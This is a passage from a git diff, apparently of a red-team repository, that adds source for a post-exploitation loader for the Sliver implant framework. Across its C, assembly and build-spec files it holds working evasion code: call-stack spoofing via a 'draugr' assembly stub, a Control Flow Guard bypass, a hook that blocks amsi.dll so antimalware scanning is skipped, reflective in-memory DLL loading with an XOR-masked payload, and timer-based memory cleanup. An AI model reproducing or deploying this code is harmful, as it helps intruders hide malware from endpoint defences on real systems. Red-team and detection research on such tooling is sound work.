), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 5 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 6 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 7 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 8 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); + } else if ( call->argc == 9 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); + } else if ( call->argc == 10 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); + } else if ( call->argc == 11 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); + } else if ( call->argc == 12 ) { + return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); + } else { + return ( ULONG_PTR ) ( NULL ); + } +} diff --git a/crystal-kit-sliver/loader/src/spoof.h b/crystal-kit-sliver/loader/src/spoof.h new file mode 100644 index 0000000..ef25c1b --- /dev/null +++ b/crystal-kit-sliver/loader/src/spoof.h @@ -0,0 +1,10 @@ +#define spoof_arg(x) ( ULONG_PTR ) ( x ) + +typedef struct { + PVOID ptr; + DWORD ssn; + int argc; + ULONG_PTR args[10]; +} FUNCTION_CALL; + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ); diff --git a/crystal-kit-sliver/loader/src/tcg.h b/crystal-kit-sliver/loader/src/tcg.h new file mode 100644 index 0000000..553836d --- /dev/null +++ b/crystal-kit-sliver/loader/src/tcg.h @@ -0,0 +1,102 @@ +/* + * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild + * + * Redistribution and use in source and binary forms, with or without modification, are + * permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this list of + * conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, this list of + * conditions and the following disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its contributors may be used to + * endorse or promote products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +// used by both the Pico Loader and DLL loader +typedef struct { + __typeof__(LoadLibraryA) * LoadLibraryA; + __typeof__(GetProcAddress) * GetProcAddress; +} IMPORTFUNCS; + +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + +#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) +#define DEREF( name )*(UINT_PTR *)(name) + +typedef struct { + IMAGE_DOS_HEADER * DosHeader; + IMAGE_NT_HEADERS * NtHeaders; + IMAGE_OPTIONAL_HEADER * OptionalHeader; +} DLLDATA; + +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + +/* + * printf-style debugging. + */ +void dprintf(char * format, ...); + +/* + * PICO running functions + */ +typedef void (*PICOMAIN_FUNC)(char * arg); + +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); +PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); +int PicoCodeSize(char * src); +int PicoDataSize(char * src); +void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); + +/* + * Resolve functions by walking the export address table + */ +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); + +/* + * DLL parsing and loading functions + */ +typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); + +DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); +IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); +void LoadDLL(DLLDATA * dll, char * src, char * dst); +void LoadSections(DLLDATA * dll, char * src, char * dst); +void ParseDLL(char * src, DLLDATA * data); +void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); +void ProcessRelocations(DLLDATA * dll, char * src, char * dst); +DWORD SizeOfDLL(DLLDATA * data); + +/* + * A macro to figure out our caller + * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 + */ +#ifdef __MINGW32__ +#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) +#else +#pragma intrinsic(_ReturnAddress) +#define WIN_GET_CALLER() _ReturnAddress() +#endif \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/Makefile b/crystal-kit-sliver/postex-loader/Makefile new file mode 100644 index 0000000..a8098b0 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/Makefile @@ -0,0 +1,21 @@ +CC_64=x86_64-w64-mingw32-gcc +NASM=nasm + +all: bin/loader.x64.o + +bin: + mkdir bin + +bin/loader.x64.o: bin + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o + $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o + + $(NASM) src/draugr.asm -o bin/draugr.x64.bin + +clean: + rm -f bin/* diff --git a/crystal-kit-sliver/postex-loader/loader.spec b/crystal-kit-sliver/postex-loader/loader.spec new file mode 100644 index 0000000..16f1d75 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/loader.spec @@ -0,0 +1,50 @@ +x64: + load "bin/loader.x64.o" + make pic +gofirst +optimize +disco + + # merge services + load "bin/services.x64.o" + merge + + dfr "patch_resolve" "ror13" + mergelib "../libtcg.x64.zip" + + # merge hooks into the loader + load "bin/hooks.x64.o" + merge + + # merge call stack spoofing into the loader + load "bin/spoof.x64.o" + merge + + # load the stack spoofing assembly + load "bin/draugr.x64.bin" + linkfunc "draugr_stub" + + # hook functions that the loader uses + attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" + attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" + attach "KERNEL32$VirtualProtect" "_VirtualProtect" + attach "KERNEL32$VirtualFree" "_VirtualFree" + + # mask & link the dll + generate $MASK 128 + push $DLL + xor $MASK + preplen + link "dll" + + push $MASK + preplen + link "mask" + + # DLL Args from File + load %ARGFILE + preplen + link "dll_args" + + # now get the tradecraft as a PICO + run "pico.spec" + link "pico" + + export \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/pico.spec b/crystal-kit-sliver/postex-loader/pico.spec new file mode 100644 index 0000000..29943e7 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/pico.spec @@ -0,0 +1,36 @@ +x64: + load "bin/pico.x64.o" + make object +disco + + # merge the hook functions + load "bin/hooks.x64.o" + merge + + # merge the call stack spoofing + load "bin/spoof.x64.o" + merge + + # merge the asm stub + load "bin/draugr.x64.bin" + linkfunc "draugr_stub" + + # merge cfg code + load "bin/cfg.x64.o" + merge + + # merge cleanup + load "bin/cleanup.x64.o" + merge + + # export setup_hooks and setup_memory + exportfunc "setup_hooks" "__tag_setup_hooks" + exportfunc "setup_memory" "__tag_setup_memory" + + # hook functions in the DLL + addhook "KERNEL32$GetProcAddress" "_GetProcAddress" + addhook "KERNEL32$LoadLibraryW" "_LoadLibraryW" + addhook "KERNEL32$ExitThread" "_ExitThread" + + mergelib "../libtcg.x64.zip" + + export \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/cfg.c b/crystal-kit-sliver/postex-loader/src/cfg.c new file mode 100644 index 0000000..22f5b87 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/cfg.c @@ -0,0 +1,114 @@ +#include +#include "cfg.h" + +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); + +BOOL cfg_enabled ( ) +{ + EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; + + NTSTATUS status = 0; + + proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; + proc_info.ExtendedProcessInfoBuffer = 0; + + status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + return proc_info.ExtendedProcessInfoBuffer; +} + +BOOL bypass_cfg ( PVOID address ) +{ + MEMORY_BASIC_INFORMATION mbi = { 0 }; + VM_INFORMATION vmi = { 0 }; + MEMORY_RANGE_ENTRY mre = { 0 }; + CFG_CALL_TARGET_INFO cti = { 0 }; + + NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { + return FALSE; + } + + cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; + cti.Flags = CFG_CALL_TARGET_VALID; + + mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; + mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; + + ULONG output = 0; + + vmi.dwNumberOfOffsets = 0x1; + vmi.plOutput = &output; + vmi.ptOffsets = &cti; + vmi.pMustBeZero = 0x0; + vmi.pMoarZero = 0x0; + + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); + + if ( status == 0xC00000F4 ) + { + /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); + } + + if ( ! NT_SUCCESS ( status ) ) + { + /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ + if ( status == 0xC0000045 ) + { + /* pretend we bypassed it so timers can continue */ + return TRUE; + } + + return FALSE; + } + + return TRUE; +} \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/cfg.h b/crystal-kit-sliver/postex-loader/src/cfg.h new file mode 100644 index 0000000..2a538cb --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/cfg.h @@ -0,0 +1,2 @@ +BOOL cfg_enabled ( ); +BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/cleanup.c b/crystal-kit-sliver/postex-loader/src/cleanup.c new file mode 100644 index 0000000..ff51f49 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/cleanup.c @@ -0,0 +1,97 @@ +#include +#include "memory.h" +#include "cfg.h" +#include "tcg.h" + +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); +DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); + +void cleanup_memory ( MEMORY_LAYOUT * memory ) +{ + /* is cfg enabled? */ + BOOL enabled = cfg_enabled ( ); + + if ( enabled ) { + /* try to bypass it at NtContinue */ + if ( bypass_cfg ( NTDLL$NtContinue ) ) { + enabled = FALSE; + } + } + + /* + * just return if we + * failed to bypass it + */ + + if ( enabled ) { + return; + } + + /* + * crack on and setup a timer + * to free the memory regions + */ + + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_ALL; + + HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; + + if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) + { + /* give RtlCaptureContext a chance to run */ + KERNEL32$Sleep ( 100 ); + + if ( ctx.Rip != 0 ) + { + #define CTX_COUNT 3 + + HANDLE heap = KERNEL32$GetProcessHeap ( ); + CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT ); + + for ( int i = 0; i < CTX_COUNT; i++ ) { + memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); + } + + /* + * we use VirtualFree here because + * the loader uses VirtualAlloc + */ + + /* the dll */ + ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); + ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* pico code */ + ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code ); + ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* pico data */ + ctx_free[ 2 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data ); + ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* give a decent delay so ExitThread has time to be called */ + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + } + } +} \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/cleanup.h b/crystal-kit-sliver/postex-loader/src/cleanup.h new file mode 100644 index 0000000..ebdd31f --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/cleanup.h @@ -0,0 +1 @@ +void cleanup_memory ( MEMORY_LAYOUT * memory ); \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/draugr.asm b/crystal-kit-sliver/postex-loader/src/draugr.asm new file mode 100644 index 0000000..a736300 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/draugr.asm @@ -0,0 +1,147 @@ +[BITS 64] + + draugr_stub: + pop rax ; Real return address in rax + + mov r10, rdi ; Store OG rdi in r10 + mov r11, rsi ; Store OG rsi in r11 + + mov rdi, [ rsp + 32 ] ; Storing struct in rdi + mov rsi, [ rsp + 40 ] ; Storing function to call + + ; --------------------------------------------------------------------- + ; Storing our original registers + ; --------------------------------------------------------------------- + + mov [ rdi + 24 ], r10 ; Storing OG rdi into param + mov [ rdi + 88 ], r11 ; Storing OG rsi into param + mov [ rdi + 96 ], r12 ; Storing OG r12 into param + mov [ rdi + 104 ], r13 ; Storing OG r13 into param + mov [ rdi + 112 ], r14 ; Storing OG r14 into param + mov [ rdi + 120 ], r15 ; Storing OG r15 into param + + mov r12, rax ; OG code used r12 for ret addr + + ; --------------------------------------------------------------------- + ; Prepping to move stack args + ; --------------------------------------------------------------------- + + xor r11, r11 ; r11 will hold the # of args that have been "pushed" + mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed + + mov r14, 0x200 ; r14 will hold the offset we need to push stuff + add r14, 8 + add r14, [ rdi + 56 ] ; stack size of RUTS + add r14, [ rdi + 48 ] ; stack size of BTIT + add r14, [ rdi + 32 ] ; stack size of our gadget frame + sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time + + mov r10, rsp + add r10, 0x30 ; offset of stack arg added to rsp + + looping: + xor r15, r15 ; r15 will hold the offset + rsp base + cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add + je finish + + ; --------------------------------------------------------------------- + ; Getting location to move the stack arg to + ; --------------------------------------------------------------------- + + sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. + mov r15, rsp ; get current stack base + sub r15, r14 ; subtract offset + + ; --------------------------------------------------------------------- + ; Procuring the stack arg + ; --------------------------------------------------------------------- + + add r10, 8 + + push qword [ r10 ] + pop qword [ r15 ] + + ; --------------------------------------------------------------------- + ; Increment the counter and loop back in case we need more args + ; --------------------------------------------------------------------- + add r11, 1 + jmp looping + + finish: + + ; ---------------------------------------------------------------------- + ; Creating a big 320 byte working space + ; ---------------------------------------------------------------------- + + sub rsp, 0x200 + + ; ---------------------------------------------------------------------- + ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. + ; Need to figure out why this cuts off the call stack + ; ---------------------------------------------------------------------- + + push 0 + + ; ---------------------------------------------------------------------- + ; RtlUserThreadStart + 0x14 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 56 ] + mov r11, [ rdi + 64 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; BaseThreadInitThunk + 0x21 frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 32 ] + mov r11, [ rdi + 40 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Gadget frame + ; ---------------------------------------------------------------------- + + sub rsp, [ rdi + 48 ] + mov r11, [ rdi + 80 ] + mov [ rsp ], r11 + + ; ---------------------------------------------------------------------- + ; Adjusting the param struct for the fixup + ; ---------------------------------------------------------------------- + + mov r11, rsi ; Copying function to call into r11 + + mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member + mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member + lea rbx, [ rel fixup ] ; Fixup address is moved into rbx + mov [ rdi ], rbx ; Fixup member now holds the address of Fixup + mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx + + ; ---------------------------------------------------------------------- + ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made + ; ---------------------------------------------------------------------- + mov r10, rcx + mov rax, [ rdi + 72 ] + + jmp r11 + + fixup: + mov rcx, rbx + add rsp, 0x200 ; Big frame thing + add rsp, [ rbx + 48 ] ; Stack size + add rsp, [ rbx + 32 ] ; Stack size + add rsp, [ rbx + 56 ] ; Stack size + + mov rbx, [ rcx + 16 ] ; Restoring OG RBX + mov rdi, [ rcx + 24 ] ; ReStoring OG rdi + mov rsi, [ rcx + 88 ] ; ReStoring OG rsi + mov r12, [ rcx + 96 ] ; ReStoring OG r12 + mov r13, [ rcx + 104 ] ; ReStoring OG r13 + mov r14, [ rcx + 112 ] ; ReStoring OG r14 + mov r15, [ rcx + 120 ] ; ReStoring OG r15 + push rax + + xor rax, rax + pop rax + jmp QWORD [ rcx + 8 ] diff --git a/crystal-kit-sliver/postex-loader/src/hash.h b/crystal-kit-sliver/postex-loader/src/hash.h new file mode 100644 index 0000000..e007458 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/hash.h @@ -0,0 +1 @@ +#define LOADLIBRARYEXW_HASH 0x753A512 \ No newline at end of file diff --git a/crystal-kit-sliver/postex-loader/src/hooks.c b/crystal-kit-sliver/postex-loader/src/hooks.c new file mode 100644 index 0000000..c8b65d9 --- /dev/null +++ b/crystal-kit-sliver/postex-loader/src/hooks.c @@ -0,0 +1,210 @@ +#include +#include +#include +#include "tcg.h" +#include "spoof.h" +#include "hash.h" + +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW ( LPCWSTR ); +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW ( LPCWSTR, HANDLE, DWORD ); +DECLSPEC_IMPORT int WINAPI MSVCRT$_wcsicmp ( const wchar_t *, const wchar_t * ); +DECLSPEC_IMPORT wchar_t * WINAPI MSVCRT$wcsrchr ( const wchar_t *, wchar_t ); + +HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( LoadLibraryA ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + + return ( HMODULE ) spoof_call ( &call ); +} + +HMODULE WINAPI _LoadLibraryExW ( LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags ) +{ + /* get the filename from path */ + LPCWSTR back = MSVCRT$wcsrchr ( lpLibFileName, L'\\' ); + LPCWSTR fwd = MSVCRT$wcsrchr ( lpLibFileName, L'/' ); + LPCWSTR name = back > fwd ? back : fwd; + + if ( name ) { + name++; + } + else { + name = lpLibFileName; + } + + /* say no to amsi */ + if ( MSVCRT$_wcsicmp ( name, L"amsi.dll" ) == 0 ) { + /* return without loading (─ ‿ ─) */ + return NULL; + } + + /* load the module */ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryExW ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( lpLibFileName ); + call.args [ 1 ] = spoof_arg ( hFile ); + call.args [ 2 ] = spoof_arg ( dwFlags ); + + /* hold the result */ + HMODULE module = ( HMODULE ) spoof_call ( &call ); + + /* check to see if it's mscoreei.dll or clr.dll */ + if ( MSVCRT$_wcsicmp ( name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp ( name, L"clr.dll") == 0 ) + { + /* parse the module's headers */ + IMAGE_DOS_HEADER * dos_headers = ( IMAGE_DOS_HEADER * ) module; + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( DWORD_PTR ) module + dos_headers->e_lfanew ); + + /* get the import directory */ + IMAGE_DATA_DIRECTORY imports_directory = nt_headers->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + IMAGE_IMPORT_DESCRIPTOR * import_descriptor = ( IMAGE_IMPORT_DESCRIPTOR * ) ( imports_directory.VirtualAddress + ( DWORD_PTR ) module ); + + /* walk every imported module */ + while ( import_descriptor->Name != 0 ) + { + IMAGE_THUNK_DATA * original_first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->OriginalFirstThunk ); + IMAGE_THUNK_DATA * first_thunk = ( IMAGE_THUNK_DATA * ) ( ( DWORD_PTR ) module + import_descriptor->FirstThunk ); + + /* walk every imported function */ + while ( original_first_thunk->u1.AddressOfData 